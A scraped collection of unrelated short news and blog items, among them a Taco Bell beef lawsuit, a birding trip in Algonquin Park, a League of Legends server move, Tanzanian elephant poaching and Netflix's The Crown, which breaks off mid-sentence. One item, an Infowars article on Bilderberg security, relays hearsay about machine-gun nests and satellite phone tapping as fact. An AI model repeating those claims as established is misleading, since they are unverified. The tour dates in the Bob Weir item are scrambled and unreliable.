-Getty Images Taco and bean burrito  The fast food chain, Taco Bell, has been accused of false advertising when it refers to “seasoned beef” in its meaty Mexican fare.  The Alabaman law firm Beasley, Allen, Crow, Methvin, Portis & Miles filed a lawsuit on Friday on behalf of Amanda Obney, a Californian customer of Taco Bell. Ms Obney doesn’t want cash damages but demands that Taco Bell be more honest in its advertising practices.  (More on TIME.com: See the top 10 Worst Fast-Food Meals)  In a study conducted by the law firm, it was found that Taco Bell’s “meat mixture”, which it dubs “seasoned beef” contained less than 35 % beef. If these figures are correct, the product would fail to meet minimum requirements, set by the U.S. Department of Agriculture, to be labeled as “beef”. The other 65% of the “meat” is made up of water, soy lecithin, maltodextrin, silicon dioxide, anti-dusting agent and modified corn starch (amongst other ingredients more suited to a test tube than a taco).  Although Taco Bell displays these added ingredients on its website, there is no mention of just how much actual meat is contained in the product.  (More on TIME.com: Fiddy and the Tacos – Top 10 Ridiculous Celebrity Lawsuits)  Rob Poetsch, a spokesman for Taco Bell, said the company denies that its advertising is misleading: “Taco Bell prides itself on serving high quality Mexican inspired food with great value. We’re happy that the millions of customers we serve every week agree.”  The verdict of the case — or the ruling from the court of public opinion — has yet to be announced.  (More on TIME.com: Watch the video of Calorie Displays Might Not Change Your Order)
-Talk of machine guns & surveillance spooks hotel guests  Paul Joseph Watson  Infowars.com  Wednesday, May 30, 2012  The Bilderberg Group has launched an unprecedented security crackdown on the eve of tomorrow’s secretive confab of global power brokers, with guests at the Westfields Marriott Washington Dulles hotel being intimidated by talk of machine guns and high-tech surveillance.  Video streaming by Ustream  Police tell Alex Jones and crew to leave the hotel.  Surveying the scene at the hotel today, radio host Alex Jones described a chaotic picture, with Bilderberg security, including a particularly vocal Swedish woman, stomping around the building announcing that “machine gun nests” were being set up in anticipation of a deluge of protesters arriving over the next few days.  Given the fact that a record number of demonstrators are expected to attend, Bilderberg has been more stringent than ever before in its efforts to get people out of the way, telling customers who had made room reservations for two days before the start of the conference that their bookings would not be honored.  Undercover Fairfax police, secret service, hotel security, as well as diplomatic service personnel are all now rushing to finalize preparations for the arrival of Bilderberg members tomorrow morning.  According to London Guardian journalist Charlie Skelton, conference organizers were also using iPhones to film guests who had arrived for brunch. Regular guests as well as journalists are also having background checks run against their names.  Alex Jones also heard discussions between members of Bilderberg security about how sophisticated surveillance equipment using satellites was being used to tap phones of prominent activists and media personalities set to cover the event.  A d v e r t i s e m e n t  {openx:74}  Although well over a thousand people have signaled their intention to attend the protest, Bilderberg only expects around 500 to be in place at any one time.  Alex Jones himself was contacted yesterday by Bryan Stolz, Director of Hotel Operations at Marriott International, who told Jones that his room booking was cancelled and that he and his crew would be banned from entering the premises of the hotel.  People who are already staying at the hotel have had letters delivered to their rooms ordering them to leave the premises before noon on Thursday.  We are also expecting to receive details of Bilderberg’s 2012 agenda within the next few hours. One topic of discussion already confirmed to be up for debate will be ecological issues and Agenda 21 – part of Bilderberg’s efforts to usher in a post-industrial revolution.  *********************  Paul Joseph Watson is the editor and writer for Prison Planet.com. He is the author of Order Out Of Chaos. Watson is also a regular fill-in host for The Alex Jones Show and Infowars Nightly News.
-Just as it’s about to celebrate four months of activity, the GT Sport Closed Beta Test will reportedly come to an end July 16.  The news comes from various beta players, with the first sign of a public announcement belonging to Twitter user fu_ko1221111.  The beta just received an update last week, introducing damage and consumables into the mix. These features were part of the newest public build, which was present at the Goodwood Festival of Speed. Pit stops appeared to have taken on a bigger role in the game, with players getting the option to repair various parts of their cars while in the garage. With the game’s esports focus, this should add an extra layer of strategy to races.  The GT Sport Closed Beta originally kicked off back in March. A month later, Polyphony Digital added European countries to the program, as well as South America. At the end of May, version 1.06 expanded into Asia and Oceania. While neither PD nor Sony have shared player figures, estimates peg the beta count somewhere in the four digit range.  If you have access to the beta, you’ll want to get some final seat time in before July 16. This may not be the end, however: during our interview with Kazunori Yamauchi at E3 2017, he dropped a hint that a second, more feature-rich beta could arrive. Yamauchi put a pin in August — so it may not be a long wait at all. Gamescom takes place at the tail end of next month, too…  Even if a second beta doesn’t appear, GT Sport is still scheduled to release in Fall 2017. The beta had a few dozen cars available across three classes: the final game will include 177 vehicles, adding rally cars and the ongoing Vision GT program to the mix. GT Sport will feature 19 locations with 27 track variations across them.  More Posts On...
-Legendary cult filmmaker and Full Moon Entertainment founder Charles Band is thrilled to present his new series RAVENWOLF TOWERS, which he describes as a “love letter to Full Moon fans past and present”.  The chilling, seven-part horror series is directed and produced by Band, who will release one episode every full moon, beginning December 13th. And as a bonus for Full Moon film fanatics, embedded within each weird and wicked episode of the series, Band has found novel ways to re-introduce some of Full Moon’s most famous and feared characters and creatures into the narrative.  Full Moon Entertainment will release RAVENWOLF TOWERS on their Amazon Channel, at FullMoonStreaming.com and on DVD. The first episode, titled Bad Mary, will debut on December 13.  And as a premium for customers who order the DVD, Band has committed to personally signing every copy sold.  Synopsis:  RAVENWOLF TOWERS, the dark saga of a family of incestuous lunatics lording over the remains of a looming, formerly opulent and now dilapidated Hollywood hotel.  Like a cross between Jack Hill’s 1964 Gothic shocker SPIDER-BABY and Dan Curtis’ beloved horror soap opera DARK SHADOWS, RAVENWOLF TOWERS follows the gruesome and bizarre adventures of Jake, the new assistant manager at ‘The Towers’ who is soon subject to the horror at the heart of the building: guests disappear without a trace, mad doctors meddle with madder science, degenerate monsters lurking around every corner and a beautiful woman who may be a distressed damsel in need of saving…or just might be the most terrifying resident of RAVENWOLF TOWERS.  At the center of it all is the spastic, inbred clan whose minds have become irrevocably warped as they live, love, die and commit all manner of sin within the walls of ‘The Towers’.
-Remove the door knockers. Pull down the shutters. Pretend no one’s home. Your adult children are coming back — for good.  One-in-nine baby boomer parents said their adult children returned home within the last year, according to a new report from financial services firm Fidelity Investments and Stanford Center on Longevity, which surveyed 9,000 employees.The adult children save money on rent and household goods, but their parents are the ones who appear to be suffering: 68% said they were more stressed, 53% said they were less happy and another 53% said they had less leisure time after the return of their “boomerang kids.” More than three-quarters (76%) said they took on higher expenses, too.  Even people who are now in their 40s and 50s are considering mom and dad an option. Older millennials are 2.7 times more likely to live in their parents’ home than people under 55 years old than in 1999, while Generation-Xers, who are now in their mid-30s to early 50s, were 2.2 times as likely to live with their parents, according to separate data released last week by real estate site Trulia. “No parent is going to want to say no to a child who needs help, but certainly being realistic about the financial situation is important,” said Katie Taylor, vice president of thought leadership at Fidelity.  See: The real reason college grads move home with their parents may surprise you  More American adults are living with their parents and grandparents than ever before — 19% of the U.S. population (or nearly 61 million people) lived in a multigenerational household, up from 17% (42 million) in 2009 and 12% (27.5 million) in 1980, according to the Pew Research Center, nonprofit think tank based in Washington, D.C.  But not all millennials are as “lazy” or “entitled,” as they are often accused of being. About one in four 25- to 34-year-olds who live at home and are not working or going to school do so because of a health-related reason or because they are acting as caregivers to their family members. And more than a third of Americans, including millennials, expect to financially help their parents within the next few years, another survey found. Some are even making efforts to help their parents save for retirement.  Get a daily roundup of the top reads in personal finance delivered to your inbox. Subscribe to MarketWatch's free Personal Finance Daily newsletter. Sign up here.
-Booking.com  A Gray Jay in Algonquin Provincial Park  Bob and I spent three days skiing and hiking on various trails in Algonquin Provincial Park, in Ontario, trying to make the most of the last weeks of winter here in Ontario. We love to go looking for birds and animals, but in this case, on the Opeongo Road, the Gray Jay came looking for us.  The drive in from Highway 60 took us past a frozen marsh bisected by a good-sized stream. A day earlier, the inky black waters were flowing freely, but a severely cold overnight temperature had solidified the water to a glassy, windswept surface.  Someone had provided an offering of bird food at the edge of the small parking lot, but a fresh snowfall had rendered the seeds difficult to find. Nevertheless, Black-capped Chickadees as well as Red-breasted Nuthatches were repeatedly returning to the modest scattering of seeds, while a Gray Jay sat obscurely on a branch above all the activity.  Bob and I promptly removed some peanuts and sunflower seeds from our knapsack, to try to entice the Gray Jay to eat out of our hand. Gray Jays are also referred to as Grey Jays, Canada Jays and Whiskey Jacks.  Gray Jays typically have fluffy plumage, a short bill, and a long tail. Being a very frigid and windy morning, the Gray Jay was puffed up against the cold to try to maintain its body heat.  As you see in Bob’s short video, the Gray Jay did not mind the cold windy weather.  As we observed the Gray Jay, it took on the task of preening its feathers. I was able to observe a red band around one leg when a ray of sunshine peeked through the clouds.  Gray Jays typically live in coniferous and mixed wood forests where there are Black, White or Engelmann Spruce trees, or Jack or Lodgepole Pine trees. These particular types of trees enable Gray Jays to store food up in under the pliable scales of bark where it will remain dry and well-concealed. Cold temperatures are also a requirement for the preservation of their perishable food.  A curious Red Squirrel scoured the ground looking for scraps before sampling one of Bob’s peanuts in the shell.  In the meantime, a second Gray Jay appeared and swooped in for some of the black oil sunflower seeds laying on the ground. We were able to distinguish it from the other bird because this one had a yellow band on its leg.  A friend of our family, Dan Strickland, has been studying Gray Jays in Canada since 1967. From 1979 to 2000, Dan was Chief Park Naturalist in Algonquin Provincial Park, and has a long list of other wildlife that he has studied over the years.  During those years, Dan has done major research on Gray Jays, work that still continues. Today, Dan is considered the world’s leading expert on Gray Jays, and according to “The Science Behind Algonquin’s Animals“, his and Algonquin Provincial Park’s research into Gray Jays “is now considered one of the world’s longest-running investigations of a population of color-banded birds”.  As Bob patiently waited for one of the Gray Jays to feed from his hand, a Red-breasted Nuthatch (Sitta canadensis) perched briefly on one of his fingers and quickly selected several small pieces of broken nuts.  Gray Jays are notoriously friendly and curious, and often will follow hikers along a trail, begging for treats along the way.  Eventually Bob succeeded in enticing one of the Gray Jays to take food from his uplifted palm, but I was not quick enough to snap a photo. The other Gray Jay, however, was content to remain on its perch. Perhaps it had already eaten well earlier that morning.  As Bob and I drove back towards Highway 60, we scanned the frozen marsh and stream for any evidence of the Pine Marten and the otters that live there. They both eluded us that day.  In our next blog posting, we hike on the Beaver Pond Trail in Algonquin Provincial Park, in search of wild Otters.  Meanwhile, the cold wind continued to whip up the snow, and winter seemed far from over.  You May Also Enjoy:  Ruffed Grouse Sighting in Algonquin Provincial Park  Black-backed Woodpecker Sighted in Algonquin Provincial Park  Boreal Chickadees Sighted in Algonquin Provincial Park  Red foxes wintering in Algonquin Provincial Park  Cow Moose and Calf winter in Algonquin Provincial Park  Eastern Screech Owl: A Master of Disguise In Burlington, Ontario  Among the Winged Magic at El Rosario Monarch Butterfly Reserve in Mexico  Our South African Journey to Kruger National Park  Visiting Machu Picchu, Our Long Time Dream  Exploring The Cliff Dwellings At Mesa Verde National Park  Drombeg Stone Circle, Our Visit To The Druid’s Altar  Black Bear Mom And Cubs Eat Blueberries In Algonquin Park  Gray Treefrogs at Lower Reesor Pond in Toronto  Scarlet Tanagers at Ashbridge’s Bay Park In Toronto  Frame To Frame – Bob and Jean  Share this: Facebook  Pinterest  Twitter  LinkedIn  Reddit  Email  Tumblr  More  Print
-In the wake of the sexual harassment allegations against Justin Caldbeck, he has since released a public apology, wherein he promised to seek professional counseling for his behavior after stepping down from his position at Binary Capital.  Netizens were quick to collectively eye roll at the statement:  Sorry you did it or sorry you got called out, bro? It’s sexual assault- as in criminal, not ‘indefinite leave’ situation — Ian Bray (@IanABray) June 24, 2017  an asian fetish or did you think those women would be less likely to say something? — ShawnNorth (@shawnpuwo) June 24, 2017  Created a list for people like you pic.twitter.com/bSVN4c2W6Q — Space Cowboy (@haxforce) June 24, 2017  Especially fellow techie, Brendan Mulligan:  Hey @caldbeckj, go find a bucket of acid to dip your face in, you fucking horrible piece of shit. https://t.co/Dc7mbANkXM — Brenden Mulligan (@mulligan) June 23, 2017  Mulligan was so upset that he took to Medium.com to write his thoughts on the matter. There, he dissected Caldbeck’s apology piece by piece to point out any flaws and issues he found with the statement.  As the post continues to gain traction, it draws readers to comment their own thoughts and feelings on his writings. This includes one of the women responsible for bringing Caldbeck’s inappropriate behavior to light, Niniane Wang, who wrote a response to Mulligan’s article:  “I’m one of the 3 women who went on the record to expose Justin’s sexual harassment. I laughed out loud reading your post. It’s so well-written!  I’ve been trying to expose Justin for 7 years. He kept threatening reporters, and it was incredibly difficult to get this article out. He fought tooth and nail. Then he writes this apology (that was surely drafted by a crisis PR firm), and suddenly I’m seeing people say “We’re all human and make mistakes” and “I’m glad he’s learning” and “What a heartfelt apology”.  My fear is that if people actually believe that, what if the leave of absence doesn’t become permanent? Are people going to let him come back in 6 months when he’s “reflected” and learned his lesson?  I do not believe that someone can harass women for 10 years, tell the people who exposed him to go fuck themselves, and then 24 hours later, thank them for bringing him self-awareness.“  Wang also took to Twitter to point out another issue with Caldbeck’s apology:  To all who like Justin Caldbeck’s apology: It starts with “Attributable to Justin Caldbeck”. It was written by PR firm. Did he even read it? — niniane (@niniane) June 24, 2017  It remains to be seen what will happen to Justin Caldbeck in the future.
-http://i.imgur.com/uTg4RHL.jpg *TL;DR: From **~5 AM - Noon PDT** on **8/25**, the NA game servers will be moving to a new, centralized location in **Chicago, Illinois**. This move, along with other components of the [NA Server Roadmap](http://boards.na.leagueoflegends.com/en/c/help-support/WH8doH76-na-servers-and-the-future), should improve connection quality for the vast majority of NA players. West Coast players will see an uptick in raw ping numbers, but should also see that uptick mitigated by connection improvements in the form of better overall stability and reduced packet loss. We’ll follow up the server move with a **weekend stress test** (complete with **Party IP**) from **August 28 - 30**. More details below.* Last week, we [gave you guys a date](http://boards.na.leagueoflegends.com/en/c/help-support/U0M1AVfO-na-server-roadmap-update-na-server-move-on-825), and now the time is upon us! From **~5 AM - Noon PDT** on **8/25**, the NA game servers will be moving to their new home in **Chicago, Illinois**. # What to expect Around 5 AM PDT on the 25th, we’ll disable ranked play and kick off a phased, zero-downtime transfer of server activity, with an escalating percentage of game starts steadily re-allocated to Chicago over the course of the move. Keep in mind your game starts may hop back and forth between Chicago and Portland if you’re playing during this period. By the end of the migration, all games will be supported out of Chicago, with Portland reverting to a disaster-recovery backup while we continue to gather data and make any required adjustments. **Tentatively**, we’re shooting to complete the transfer by 12 PM (noon) PDT. http://i.imgur.com/PS8Hyxs.jpg # Things to look out for Considering our extensive preparation and the lack of downtime, the most likely outcome is that you won’t notice any disruption on your end, but we’re also preparing for any and all contingencies. Worst case, we encounter significant issues and temporarily roll back to the current Portland servers so you encounter minimal downtime or disrupted play as we fix any major problems. Look for up-to-date info in the in-client ticker and [Service Status](http://status.leagueoflegends.com/) page! Given the complexity of NA’s internet architecture and ISP landscape, we know we’ll have to troubleshoot various local routing issues that crop up following the server move; we’re already preparing to make sure your connections take the most efficient possible paths on our dedicated network to the new servers. Most connections will be already well-aligned by the time Chicago is live, but there will likely be at least some that aren’t getting to Chicago as quickly as they could be. And we could use your help! Tomorrow,** look for our Chicago Connection Clinic Megathread** in which you guys will actually be able to help us troubleshoot any emergent network pathing problems by testing your connection to Chicago and sending us traceroute info from your machines. # ISP Peering: Cox, AT&T, Verizon On a related note, **ISP peering** will of course play a major role in making sure your connections are getting to Chicago as quickly as possible. One of our key Roadmap efforts over the past year has been signing and maintaining agreements with ISPs across the US and Canada - check out our latest peering list [here](https://support.riotgames.com/hc/en-us/articles/204246204-NA-Server-Roadmap#h3). A note on some of the more high-profile names missing from that list: we’re currently installing our connections with **Cox**, **AT&T**, and **Verizon**, and expect to have peering fully up and running with all three within a few weeks. If you’re with one of these ISPs, your connection post-Chicago move may not be on the most efficiently routed path until that work completes. We’ll keep you updated as these ISPs come online. #Transfers As we’ve mentioned, starting tomorrow, we'll also offer free transfers to players located in the US, US territories, and Canada who are currently playing on other servers - look for a transfer email from us and a free transfer option in the store on your account! Lingering questions about transferring your account? Check out our [Account Transfer FAQ](https://support.riotgames.com/hc/en-us/articles/201751924-Account-Transfer-FAQ). #Stress Test Weekend After the move itself has been successfully completed, we want to roll right into a **stress test weekend** from **August 28 - 30** to observe how well the new game servers handle peak traffic. To help make sure we really put the new Chicago infrastructure through its paces, we’re enabling **Party IP** over the weekend - check out the details below in case you need a refresher. **Number of players in party --> Bonus IP awarded** * 2 --> 100% bonus * 3 --> 150% bonus * 4 --> 200% bonus * 5 --> 300% bonus You earn rewards win or lose, but only if you’re in a party with at least one other player. Make sure to log in, help us test, and earn extra IP from **August 28th, 00:00 PDT** through **August 30th, 23:59 PDT!** ----- We’ll be back tomorrow with up-to-date info on the progress and outcome of the move, ~~but in the meantime we’re also happy to address any immediate questions you may have in the comments below!~~ thanks everyone for your questions! We'll be live tomorrow with additional information during the transition. Going to archive this thread now that the Chicago servers are fully online! Details and discussion should be [directed over to this updated post](http://boards.na.leagueoflegends.com/en/c/help-support/2uTrAyy8-na-server-roadmap-update-chicago-server-move-complete). Thanks!  Title  Body Cancel  Save
-SAN FRANCISCO (CBS SF) — The owner of a popular independent Bay Area bookstore is suing the California attorney general, claiming that a new state law regulating the sale of autographed books violates his civil rights.  For over four decades, Book Passage has been holding author readings and selling autographed books.  From its locations in the San Francisco Ferry Building, Sausalito and Corte Madera, Book Passage hosts over 700 book-signing events annually.  Under the new law, booksellers must provide a certificate of authenticity for all autographed books. This must include information about the person who signed the book, the identity of witnesses to the book signing, and the identity of the person from whom the bookseller obtained the book, as well as insurance information. The bookseller must then keep these records for seven years or potentially face fines.  The law expands existing regulations to address the issue of counterfeit sports memorabilia, but also applies to books and other collectibles.  Co-owner Bill Petrocelli says the new law violates his constitutional rights. The Oakland native received a law degree from the University of California, Berkeley prior to becoming an author and bookseller.  He actually worked at the California Attorney General’s Office after graduation.  On Thursday, Petrocelli’s lawyer filed a civil rights complaint against Attorney General Xavier Becerra claiming that the autograph law infringes on his First and Fourteenth Amendment rights.  The complaint alleges Book Passage and Petrocelli “are threatened with onerous compliance obligations and potentially ruinous fines if they continue to sell autographed books” as they have for the past four decades.  Petrocelli maintains that not only does the law violate the First Amendment by burdening bookstores’ ability to disseminate books, but that it also violates the Equal Protection Clause of the Fourteenth Amendment.  The complaint alleges that the law “imposes its onerous burdens on booksellers while irrationally and arbitrarily exempting pawn shops and certain online retailers.”  The California Attorney General’s Office told CBS San Francisco that they are reviewing the complaint.  UPDATE: On Oct. 12, 2017, Governor Jerry Brown approved the passage of AB 228, excluding works of fine art, furniture, decorative objects and signed books from the definition of an autographed collectible.  By Hannah Albarazi – Follow her on Twitter: @hannahalbarazi.
-"I am the only one who knows who the finalists are!” Donald Trump tweeted Tuesday night. | AP Photo Trump shoots down reports that his transition is in disarray  Donald Trump pushed back against the notion that his week-old presidential transition team has devolved into a “knife fight,” writing on Twitter that he is overseeing a “very organized process.”  That process, which involves making thousands of political appointments before Trump takes office next January, has reportedly been fraught thus far with power struggles between influential members of the Manhattan billionaire’s team. And while he has made just two appointments so far, Reince Priebus as his chief of staff and Steve Bannon as his chief strategist, rumors continue to swirl about the avalanche of names reportedly under consideration for cabinet posts.  Story Continued Below  “Very organized process taking place as I decide on Cabinet and many other positions. I am the only one who knows who the finalists are!” Trump wrote on Twitter Tuesday night.  But one insider told POLITICO that the transition is "an absolute knife fight," with multiple people jockeying for positions.  Trump continued his defense into Wednesday morning, tweeting "Australia, New Zealand, and more. I am always available to them. @nytimes is just upset that they looked like fools in their coverage of me" — a shot at the New York Times' story published Tuesday that reported U.S. allies had no contacts with Trump and were "blindly dialing in to Trump Tower to try to reach the soon-to-be-leader of the free world."  Trump also tweeted Wednesday morning that he isn't trying to get his children "top level" security clearances, saying it was "a typically false news story," It wasn't clear if he also included his son-in-law Jared Kushner along his children. Kushner has been a close adviser to Trump and is believed to be under consideration for a White House position.  Trump spokesman Jason Miller said on CNN Wednesday that the president-elect tweeted because he's trying to set the record straight and he's "not going to be confined by the media norms."  He added that there's a clear structure in place for the transition team and that internally the staff is calm. He also blamed some of the "palace intrigue" on people who are bitter for not being tapped for certain positions. He also said that he and Kushner were laughing this morning when they read some of the news reports about the infighting within Trump's transition team.  "This whole description of the knife fight, or this internal fighting. Nothing could be further from the truth," he said.  Two names floated for perhaps the highest profile cabinet post, that of secretary of state, have already drawn heavy scrutiny. Former New York City Mayor Rudy Giuliani is believed to be a front-runner for the job, but he has little foreign policy experience and has done paid consulting work for foreign governments that would create a conflict of interest if he was appointed to the job.  Former United Nations ambassador John Bolton has also been rumored to be under consideration, prompting Sen. Rand Paul (R-Ky.) to promise to “do whatever it takes to stop someone like John Bolton being secretary of state.”  Trump also broke with presidential protocol Tuesday night when he left behind the pool of reporters covering him to go have dinner at a Manhattan steakhouse. His campaign press secretary Hope Hicks said she was not aware that the president-elect had left Trump Tower and that she would not do anything to “leave the press in the dark” even though the Manhattan billionaire has evaded pool coverage in the past and did not allow reporters to travel on his plane with him during the campaign, something past candidates have done.
-WASHINGTON, D.C. – As winter storm Jonas barrels into the East Coast, a small group of soldiers will remain guarding the Tomb of the Unknowns at Arlington National Cemetery, despite the weather.  Since April 1948, soldiers from the Army’s 3rd Infantry Regiment’s ‘The Old Guard’ have guarded the Tomb 24 hours a day, 365 days a year regardless of the weather.  According to ABC News, even this severe storm will not stop them.  “These guys will be out in the snow, no matter what,” said Major Russell Fox, a spokesman for the Army’s Old Guard. “They love what they’re doing and they’re dedicated.”  A ‘relief’ is usually 6 soldiers serving a 24-hour shift guarding the Tombs. They change shifts each morning at 6 a.m.  Arlington National Cemetery closed at noon Friday due to the storm, but there are planned reliefs for both Saturday and Sunday. The soldiers are familiar to tourists as they wear their dress blue uniforms and march around the remains of an unknown soldier from World War I, World War II and the Korean War.  They march in front of the tombs for 21 paces, then face north to stand at attention for 21 seconds before marching 21 paces in the other direction.  When the cemetery is closed, the soldiers may change out of their dress blue uniforms into camouflage uniforms. At night and in poor weather they are allowed to go inside a small enclosure, known as ‘the box.’ They are allowed to stay in the enclosure for 2 hour intervals.
-Sixty animals 'butchered' in two months since crackdown was suspended after inquiry uncovered murder, rape and extortion  Elephant deaths in Tanzania have risen dramatically since the government abandoned a shoot-to-kill policy against poachers, officials admit.  Lazaro Nyalandu, the deputy minister of natural resources and tourism, said 60 elephants were "butchered" in November and December, compared with two in October.  Soldiers, police, game rangers and forestry officers had been involved in a month-long crackdown on poachers, codenamed Operation Terminate, in October. But the operation was suspended after an inquiry by MPs uncovered a litany of arbitrary murder, rape, torture and extortion of innocent people.  Mizengo Pinda, the prime minister, told Reuters: "The anti-poaching operation had good intentions, but the reported murders, rapes and brutality are totally unacceptable."  The inquiry's findings – including the killing of 13 civilians and arrest of more than 1,000 people – led to the sacking of the tourism minister Khamis Kagasheki, who had called for perpetrators of the illicit ivory trade to be executed "on the spot",as well as the defence minister Shamsi Vuai Nahodha, the home affairs minister Emmanuel Nchimbi and the livestock development minister David Mathayo.  Nyalandu said that, with the operation on hold, the government would appeal to foreign donors to help Tanzania's wildlife department and ranger service. "Those to be approached include the European Union and Asian countries," he was quoted as saying in media reports. "Asian countries are reportedly the main consumers of elephant tusks and byproducts."  There is huge demand for elephant tusks in many Asian countries, where they are used to make ornaments. In August 2011, Tanzanian authorities seized more than 1,000 elephant tusks hidden in sacks of dried fish at Zanzibar port and destined for Malaysia.  Recent research by the International Union for Conservation of Nature found that 22,000 elephants were killed in 2012 and Africa will lose one-fifth of its elephants in the next decade if the poaching crisis is not arrested. There were around 10m African elephants at the start of the 20th century, but that number has fallen to 500,000 owing to poaching and habitat loss.  The international trade in ivory was banned in 1989 but it has been dubbed the "white gold of jihad" by activists who say it is funding armed rebel groups including al-Shabaab, the militia behind the siege of the Westgate shopping mall in Nairobi, Kenya, that left at least 67 people dead.  With 70,000-80,000 elephants in 2009, Tanzania is believed to be home to nearly a sixth of all African elephants. A recent census at one of the country's biggest wildlife parks, Selous Game Reserve, showed elephant populations had plummeted to just 13,000 from 55,000 previously.  Last year a Tanzanian MP said poaching was out of control with an average of 30 elephants killed for their ivory every day. Media reports have alleged that some MPs and other officials are involved in and benefiting from the lucrative ivory trade.
-NEW DELHI: An Air India airhostess has accused her flight commander of misbehaving with her and other crew members during a Delhi-Kolkata flight on Saturday, after they objected to the unauthorized presence of a passenger inside the cockpit.According to a police complaint filed by the cabin crew head, when airhostesses went to the cockpit to ask the passenger to return to the cabin, the pilot told them: "Fir kahan bithaoon, tum apni goad me bitha ke le jao (Where should I make him sit? Seat him on your lap)."A heated exchange of words followed during which the pilot continued to misbehave, the complaint said. The passenger, a customs officer travelling on duty reportedly, is learnt to have completed the journey sitting in the cockpit, in violation of all safety rules.The Directorate General of Civil Aviation has grounded the commander and sought all relevant details from AI for further action.DGCA will investigate whether the customs officer had a valid ticket or had travelled throughout in the cockpit. The crew will be called to the DGCA office on Tuesday for witness deposition.Delhi Police has registered a case of outraging a woman's modesty under section 509 of IPC and were investigating. "No arrests have been made yet," a police officer said.An airline spokesman said that the commander had been suspended.After the incident, the captain was allowed to fly again. He operated a Delhi-Bangkok flight on Sunday night-Monday morning. He is likely to be told about the ongoing disciplinary action on his return to Delhi on Tuesday."The DGCA grounded the pilot on Monday afternoon. By then, he had already commandeered a flight to Bangkok," said an AI official, adding: "But on Tuesday he will return to Delhi as a cabin passenger and will not be flying the plane."The suspended captain is also learnt to have tried to dodge a breath-analyzer test for alcohol recently. A colleague said the pilot had a "knack for getting himself into trouble". The DGCA will also probe his track record before deciding on the action to be taken against him.Following the strict tightening of safety rules after the 9/11 attacks in New York, no one except the flight crew is allowed to enter the cockpit. In fact, the crew is not allowed to take any unauthorized person such as a passenger inside the cockpit during a flight.The airhostesses were objecting to this violation when the mid-air altercation took place on AI 020.
-Turkey should accelerate its steps in biotechnology The annual BIO International Convention was held in San Francisco last week. In this, the world’s biggest biotechnology event, Turkey has been represented by an increasing number of people every year, but significant steps should now be taken in terms of quality.  The Turkish delegation’s participation in the convention was organized by the independent think tank, the Economic Policy and Research Foundation of Turkey (TEPAV). This year’s Turkish delegation at the convention was dominated by public administrators.  It was indeed an important step that members of the Health Industries Steering Council (SEYK) were able to explain their work to investors at the convention. In fact, the formation of the SEYK toward the end of last year and its holding of intense meetings were important steps by themselves. However, biotechnology competition globally has increased so much, and developing countries have their eyes set so firmly on it, that Turkey needs to accelerate its steps. It needs to make concrete moves as soon as possible with a clever strategy.  MSD Health Policies Director Deniz Öncel said they had reached a good phase but several more concrete steps are now needed. “But beyond the prioritized technology transfer projects, it is more important to have a framework on how Turkey can become more competitive in biotechnology, R&D, production, investment, management and technology transfer,” Öncel said.  The private sector must be included in the business and should participate in SEYK meetings, Öncel also said, adding that the private sector’s practical experience should be taken into account while forming a vision and policy. This would enable Turkey to reach its goals faster in a race that it has been relatively late in joining.  Best practices  Öncel also said Turkey needs a boost in the biotechnology field. It needs more ideas and more entrepreneurs. As the number of ideas and companies increases, the value of innovation will be better understood as these companies would be receiving investments. With companies being bought by multinational companies and by going public, Turkey will attract more international investors, she added.  “If we want to be among the important players in this sector, where there is cutthroat competition, then we do not have the luxury to stop,” Öncel said.  She also expressed hope that by the time of next year’s BIO international conference, several advanced innovations would be presented including an international-standard patent law, projects supported by major funds, successful technology transfer contracts, startups with investors, and incentives designed with the participation of the private sector in SEYK meetings.  Öncel said they were supportive as a company, and hoped that startups at the convention for the first time this year would succeed in making fruitful contacts and attracting investments.
-Grateful Dead's Bob Weir Teams Up with National Members for New Solo LP  Published Aug 04, 2016  Columbia/Legacy Recordings. Scroll through the record's tracklisting to find Weir's "Campfire Tour" dates below.  San Rafael, CA -  ​  10/  Oakland, CA -  ​  10/  Los Angeles, CA -  ​  10/  Upper Darby, PA -  ​  10/  Brooklyn, NY  -  Kings Theatre  ​  10/  Brooklyn, NY -  ​  10/  Port Chester, NY -  ​  10/  Nashville, TN -  Grateful Dead co-founder Bob Weir struck out solo with the release of Ace in 1972. Now, the rock vet is set to release a new collection next month through Columbia Legacy Recordings titled Blue Mountain.Marking Weir's first album of entirely original material in 30 years, Blue Mountain is described as "a deeply personal collection of music inspired by the ranch stories and fireside songs of Bob's youth." Produced by Josh Kaufman, the record sees Weir collaborate with Josh Ritter, as well as Aaron Dessner, Bryce Dessner and Scott Devendorf of the National.Weir will also be taking the record on the road this fall on a short run of dates through the United States. Pre-sale tickets for the "Campfire Tour" go on sale August 9 at 10 a.m. local time before being open to the general public on August 12; both are available through Weir's site here Blue Mountain will arrive September 30 throughBlue Mountain:1. Only A River2. Cottonwood Lullaby3. Gonesville4. Lay My Lily Down5. Gallop On The Run6. Whatever Happened To Rose7. What The Ghost Towns Know8. Darkest Hour9. Ki-Yi Bossie10. Storm Country11. Blue Mountain12. One More River To CrossTour dates:10/7Marin County Civic CenterFox Theater­10The Wiltern12Tower Theatre1415Kings Theatre16The Capitol Theatre19Ryman Auditorium
-Image copyright Netflix Image caption Big budget: The Crown dramatises the events and intrigues of Elizabeth II's early reign  Netflix recently launched the second series of The Crown, its lavishly shot (and priced) period drama about the British Royal Family.  Reports have claimed the show's first series cost a record $130m (£97.4m) - though its creator Peter Morgan thinks that's nearer the total for both.  Either way, it's a lot: Between $6.5m and $13m per hour-long instalment.  Could dramatising Queen Elizabeth II's reign have cost more than the actual Queen costs the UK?  Let's look at that - and some other things that are pricier on screen than in real life...  The Queen versus The Crown  The Queen is about to get more expensive, after MPs voted to increase the Sovereign Grant paid to her by the British Treasury.  She'll receive £82.2m in 2018-19, equivalent to around £2.71 per British taxpayer.  The Sovereign Grant is worked out as a percentage of profits from the Crown Estate portfolio, an extensive property empire which posted a £328.8m profit in 2016-17.  As royal visits, ceremonies and security are not covered by the Grant, the actual yearly cost of the monarchy is about £300m, Britain's Telegraph newspaper reports. Anti-monarchy pressure groups argue that the figure is higher.  With that in mind, it seems Her Majesty and family are still costlier than their glamorous TV imitators.  Verdict: The Crown is expected to run for six series. If their cost remains stable, that's either $780m (£584m) if you believe the rumours, or (on Morgan's figures), $390m (£292m). So if the monarchy does indeed cost £300m a year, that would fund three series of the Crown at worst. And, at best, all six.  Media playback is unsupported on your device Media caption From 2017: What does the Queen cost us?  US government alien hunters versus The X-Files  Earlier this month, it emerged that the Pentagon had spent more than $20m from 2007-2012 on a secret programme to investigate Unidentified Flying Objects (UFOs).  The news was greeted with incredulity. Wouldn't it have been cheaper to call Mulder and Scully?  That depends how fast they work.  The 